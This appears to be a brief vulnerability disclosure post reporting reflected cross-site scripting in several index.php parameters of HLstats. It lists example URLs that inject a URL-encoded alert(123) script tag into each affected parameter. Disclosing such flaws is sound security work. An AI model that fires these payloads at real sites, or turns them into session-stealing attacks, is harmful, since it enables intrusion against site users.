Hello, world ;) Input passed to multiple parameters in index.php isn't properly sanitised before being returned to the user. This can be exploited to execute HTML and script code in a user's browser session in context of an affected site with limitation of ' and ". This may also affect prior versions. Examples: http://[host]/index.php?mode=players&game=%3Cscript%3Ealert(123)%3C/scri pt%3E http://[host]/index.php?mode=weaponinfo&weapon=%3Cscript%3Ealert(123)%3C /script%3E&game=tfc http://[host]/index.php?mode=search&q=whatever&st=%3Cscript%3Ealert(123) %3C/script%3E&game=tfc http://[host]/index.php?mode=actioninfo&action=%3Cscript%3Ealert(123)%3C /script%3E&game=tfc http://[host]/index.php?mode=mapinfo&map=%3Cscript%3Ealert(123)%3C/scrip t%3E&game=tfc (instead of 'tfc' you should use the game, HLstats is configurated for) kind regards MC.Iglo
